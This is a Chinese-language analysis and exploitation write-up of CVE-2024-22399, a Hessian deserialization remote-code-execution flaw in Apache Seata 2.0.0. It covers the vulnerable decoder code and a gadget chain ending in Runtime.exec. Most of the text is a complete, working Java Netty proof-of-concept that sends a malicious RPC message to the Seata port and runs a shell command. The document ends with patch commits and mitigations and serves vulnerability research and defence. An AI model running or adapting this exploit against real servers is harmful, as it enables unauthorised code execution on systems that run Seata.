CVE-2024-22399 Apache Seata Hessian反序列化漏洞
字数 1165 2025-08-22 22:47:39

Apache Seata Hessian反序列化漏洞(CVE-2024-22399)分析与利用

漏洞概述

Apache Seata是一款开源的分布式事务解决方案。在2.0.0版本中,存在一个Hessian反序列化漏洞(CVE-2024-22399),攻击者可以通过构造恶意请求在目标服务器上执行任意代码。

漏洞原理

该漏洞源于Seata服务端在处理RPC消息时,使用了Hessian反序列化器来处理消息体(body),且未对反序列化的类进行限制。当消息的codecType设置为22(HESSIAN)时,服务端会使用Hessian反序列化器处理消息体,导致反序列化漏洞。

漏洞分析

关键代码分析

漏洞主要存在于ProtocolV1Decoder类的decodeFrame方法中:

public Object decodeFrame(ByteBuf frame) {
    // ...省略头部检查代码...
    
    Serializer serializer = SerializerServiceLoader.load(SerializerType.getByCode(rpcMessage.getCodec()));
    rpcMessage.setBody(serializer.deserialize(bs));
    
    // ...省略其他代码...
}

rpcMessage.getCodec()返回22时,会使用Hessian反序列化器:

public enum SerializerType {
    SEATA((byte)1),
    PROTOBUF((byte)2),
    KRYO((byte)4),
    FST((byte)8),
    HESSIAN((byte)22),
    JACKSON((byte)50);
}

Hessian反序列化器的实现如下:

public <T> T deserialize(byte[] bytes) {
    T obj = null;
    try {
        ByteArrayInputStream is = new ByteArrayInputStream(bytes);
        Hessian2Input input = new Hessian2Input(is);
        obj = input.readObject();
        input.close();
        // ...省略异常处理代码...
    } catch (IOException var16) {
        LOGGER.error("Hessian decode error:{}", var16.getMessage(), var16);
    }
    return obj;
}

漏洞利用链

POC中使用了以下利用链:

  1. MimeTypeParameterList -> UIDefaults -> SwingLazyValue -> MethodUtil.invoke -> Runtime.exec

关键利用代码如下:

public Object GenObject(String cmd) throws Exception {
    UIDefaults uiDefaults = new UIDefaults();
    Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil")
        .getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
    Method exec = Class.forName("java.lang.Runtime")
        .getDeclaredMethod("exec", String.class);
    
    SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", 
        new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{cmd}}});
    
    uiDefaults.put("xxx", slz);
    MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
    setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
    return mimeTypeParameterList;
}

漏洞复现

环境准备

  1. 下载Apache Seata 2.0.0版本
  2. 使用默认配置启动Seata Server

攻击步骤

  1. 构造恶意RPC消息:

    • 设置codecType为22(HESSIAN)
    • 设置body为恶意序列化对象
  2. 使用Netty客户端连接Seata Server(默认端口8091)

  3. 发送恶意请求触发漏洞

POC代码

完整POC代码如下:

package org.example;

import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import io.netty.bootstrap.Bootstrap;
import io.netty.buffer.ByteBuf;
import io.netty.channel.ChannelFuture;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.ChannelInitializer;
import io.netty.channel.EventLoopGroup;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioSocketChannel;
import io.netty.handler.codec.MessageToByteEncoder;
import io.netty.channel.ChannelInboundHandlerAdapter;
import io.seata.core.protocol.RpcMessage;
import io.seata.core.compressor.Compressor;
import io.seata.core.compressor.CompressorFactory;
import io.seata.core.rpc.netty.v1.HeadMapSerializer;
import io.seata.serializer.hessian.HessianSerializerFactory;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Map;
import static io.seata.common.util.ReflectionUtil.setFieldValue;

public class SeataPoc {
    public SeataPoc() {
    }

    public void SendPoc(String host, int port) throws InterruptedException {
        EventLoopGroup group = new NioEventLoopGroup();
        try {
            Bootstrap bootstrap = new Bootstrap();
            bootstrap.group(group)
                .channel(NioSocketChannel.class)
                .handler(new ChannelInitializer<SocketChannel>() {
                    @Override
                    protected void initChannel(SocketChannel ch) {
                        ch.pipeline().addLast(new HessianEncoder());
                        ch.pipeline().addLast(new SendPocHandler());
                    }
                });
            
            ChannelFuture future = bootstrap.connect(host, port).sync();
            future.channel().closeFuture().sync();
        } finally {
            group.shutdownGracefully();
        }
    }

    private class HessianEncoder extends MessageToByteEncoder {
        public HessianEncoder() {
        }

        public void encode(ChannelHandlerContext ctx, Object msg, ByteBuf out) {
            try {
                if (!(msg instanceof RpcMessage)) {
                    throw new UnsupportedOperationException("Not support this class:" + msg.getClass());
                }
                RpcMessage rpcMessage = (RpcMessage) msg;
                int fullLength = 16;
                int headLength = 16;
                byte messageType = rpcMessage.getMessageType();
                
                out.writeBytes(new byte[]{-38, -38});
                out.writeByte(1);
                out.writerIndex(out.writerIndex() + 6);
                out.writeByte(messageType);
                out.writeByte(rpcMessage.getCodec());
                out.writeByte(rpcMessage.getCompressor());
                out.writeInt(rpcMessage.getId());
                
                Map<String, String> headMap = rpcMessage.getHeadMap();
                if (headMap != null && !headMap.isEmpty()) {
                    int headMapBytesLength = HeadMapSerializer.getInstance().encode(headMap, out);
                    headLength += headMapBytesLength;
                    fullLength += headMapBytesLength;
                }
                
                byte[] bodyBytes = null;
                if (messageType != 3 && messageType != 4) {
                    SerializerFactory hessian = HessianSerializerFactory.getInstance();
                    hessian.setAllowNonSerializable(true);
                    
                    byte[] stream = null;
                    try {
                        com.caucho.hessian.io.Serializer serializer1 = hessian.getSerializer(rpcMessage.getBody().getClass());
                        ByteArrayOutputStream baos = new ByteArrayOutputStream();
                        Hessian2Output output = new Hessian2Output(baos);
                        output.getSerializerFactory().setAllowNonSerializable(true);
                        serializer1.writeObject(rpcMessage.getBody(), output);
                        output.close();
                        stream = baos.toByteArray();
                    } catch (IOException var7) {
                        System.out.println(var7);
                    }
                    
                    bodyBytes = stream;
                    Compressor compressor = CompressorFactory.getCompressor(rpcMessage.getCompressor());
                    bodyBytes = compressor.compress(bodyBytes);
                    fullLength += bodyBytes.length;
                }
                
                if (bodyBytes != null) {
                    out.writeBytes(bodyBytes);
                }
                
                int writeIndex = out.writerIndex();
                out.writerIndex(writeIndex - fullLength + 3);
                out.writeInt(fullLength);
                out.writeShort(headLength);
                out.writerIndex(writeIndex);
            } catch (Throwable var12) {
                System.out.println(var12);
            }
        }
    }

    private class SendPocHandler extends ChannelInboundHandlerAdapter {
        @Override
        public void channelActive(ChannelHandlerContext ctx) throws Exception {
            RpcMessage rpcMessage = new RpcMessage();
            rpcMessage.setCodec((byte)22); // 使用Hessian序列化
            rpcMessage.setBody(GenObject("touch /tmp/123")); // 设置恶意对象
            ctx.writeAndFlush(rpcMessage);
        }

        public Object GenObject(String cmd) throws Exception {
            UIDefaults uiDefaults = new UIDefaults();
            Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil")
                .getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
            Method exec = Class.forName("java.lang.Runtime")
                .getDeclaredMethod("exec", String.class);
            
            SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", 
                new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{cmd}}});
            
            uiDefaults.put("xxx", slz);
            MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
            setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
            return mimeTypeParameterList;
        }
    }

    public static void main(String[] args) throws Exception {
        SeataPoc seataPoc = new SeataPoc();
        seataPoc.SendPoc("127.0.0.1", 8091);
    }
}

修复方案

Apache Seata官方已发布修复补丁:

  1. 补丁commit:

    • https://github.com/apache/incubator-seata/commit/d577cfc147f7d6615e458016671d7953816ed193
    • https://github.com/apache/incubator-seata/commit/736f2b936ad44c9cdda2a8b3dcc5884b3e0ff285
  2. 修复建议:

    • 升级到最新版本
    • 对Hessian反序列化的类进行白名单限制

防御措施

  1. 及时升级到修复版本
  2. 在网络边界限制对Seata Server端口的访问
  3. 使用安全产品监控异常反序列化行为
  4. 考虑使用其他更安全的序列化协议替代Hessian

总结

CVE-2024-22399是一个典型的Hessian反序列化漏洞,攻击者可以通过构造恶意RPC消息在Seata Server上执行任意命令。由于Seata在分布式系统中通常处于核心位置,该漏洞危害较大,建议用户及时升级修复。

Apache Seata Hessian反序列化漏洞(CVE-2024-22399)分析与利用 漏洞概述 Apache Seata是一款开源的分布式事务解决方案。在2.0.0版本中,存在一个Hessian反序列化漏洞(CVE-2024-22399),攻击者可以通过构造恶意请求在目标服务器上执行任意代码。 漏洞原理 该漏洞源于Seata服务端在处理RPC消息时,使用了Hessian反序列化器来处理消息体(body),且未对反序列化的类进行限制。当消息的codecType设置为22(HESSIAN)时,服务端会使用Hessian反序列化器处理消息体,导致反序列化漏洞。 漏洞分析 关键代码分析 漏洞主要存在于 ProtocolV1Decoder 类的 decodeFrame 方法中: 当 rpcMessage.getCodec() 返回22时,会使用Hessian反序列化器: Hessian反序列化器的实现如下: 漏洞利用链 POC中使用了以下利用链: MimeTypeParameterList -> UIDefaults -> SwingLazyValue -> MethodUtil.invoke -> Runtime.exec 关键利用代码如下: 漏洞复现 环境准备 下载Apache Seata 2.0.0版本 使用默认配置启动Seata Server 攻击步骤 构造恶意RPC消息: 设置codecType为22(HESSIAN) 设置body为恶意序列化对象 使用Netty客户端连接Seata Server(默认端口8091) 发送恶意请求触发漏洞 POC代码 完整POC代码如下: 修复方案 Apache Seata官方已发布修复补丁: 补丁commit: https://github.com/apache/incubator-seata/commit/d577cfc147f7d6615e458016671d7953816ed193 https://github.com/apache/incubator-seata/commit/736f2b936ad44c9cdda2a8b3dcc5884b3e0ff285 修复建议: 升级到最新版本 对Hessian反序列化的类进行白名单限制 防御措施 及时升级到修复版本 在网络边界限制对Seata Server端口的访问 使用安全产品监控异常反序列化行为 考虑使用其他更安全的序列化协议替代Hessian 总结 CVE-2024-22399是一个典型的Hessian反序列化漏洞,攻击者可以通过构造恶意RPC消息在Seata Server上执行任意命令。由于Seata在分布式系统中通常处于核心位置,该漏洞危害较大,建议用户及时升级修复。